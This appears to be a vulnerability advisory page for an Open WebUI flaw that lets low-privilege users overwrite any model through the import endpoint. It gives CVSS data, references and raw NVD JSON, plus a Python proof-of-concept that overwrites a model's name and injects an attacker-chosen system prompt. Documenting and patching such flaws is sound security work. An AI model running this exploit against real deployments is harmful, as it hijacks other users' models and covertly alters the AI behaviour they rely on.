CVE-2026-44562

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the POST /api/v1/models/import endpoint allows users with the workspace.models_import permission to overwrite any existing model in the database, regardless of ownership. When an imported model's ID matches an existing model, the endpoint merges the attacker's payload over the existing model data and writes it to the database with no ownership or access grant validation. Additionally, filter_allowed_access_grants is never called, bypassing the access grant restrictions enforced on all other model mutation endpoints. This vulnerability is fixed in 0.9.0.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Open WebUI < 0.9.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import json

# Target configuration
target_url = "http://target-domain.com/api/v1/models/import"

# Headers with a low-privilege token that has 'workspace.models_import' permission
headers = {
    "Authorization": "Bearer <ATTACKER_TOKEN>",
    "Content-Type": "application/json"
}

# Malicious payload targeting an existing model ID to overwrite it
malicious_payload = {
    "id": "target-model-id", 
    "name": "Hijacked Model",
    "params": {
        "system": "Injected malicious system prompt"
    }
}

# Send exploit request
response = requests.post(target_url, headers=headers, data=json.dumps(malicious_payload))

if response.status_code == 200:
    print("[+] Exploit successful: Model data overwritten.")
else:
    print(f"[-] Exploit failed with status code: {response.status_code}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44562
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44562
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44562/
[4] VulDB https://vuldb.com/cve/CVE-2026-44562
[5] https://github.com/open-webui/open-webui/security/advisories/GHSA-mqq6-cqcx-38vg

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44562", "sourceIdentifier": "[email protected]", "published": "2026-05-15T20:16:47.873", "lastModified": "2026-05-15T20:16:47.873", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the POST /api/v1/models/import endpoint allows users with the workspace.models_import permission to overwrite any existing model in the database, regardless of ownership. When an imported model's ID matches an existing model, the endpoint merges the attacker's payload over the existing model data and writes it to the database with no ownership or access grant validation. Additionally, filter_allowed_access_grants is never called, bypassing the access grant restrictions enforced on all other model mutation endpoints. This vulnerability is fixed in 0.9.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-283"}, {"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-mqq6-cqcx-38vg", "source": "[email protected]"}]}}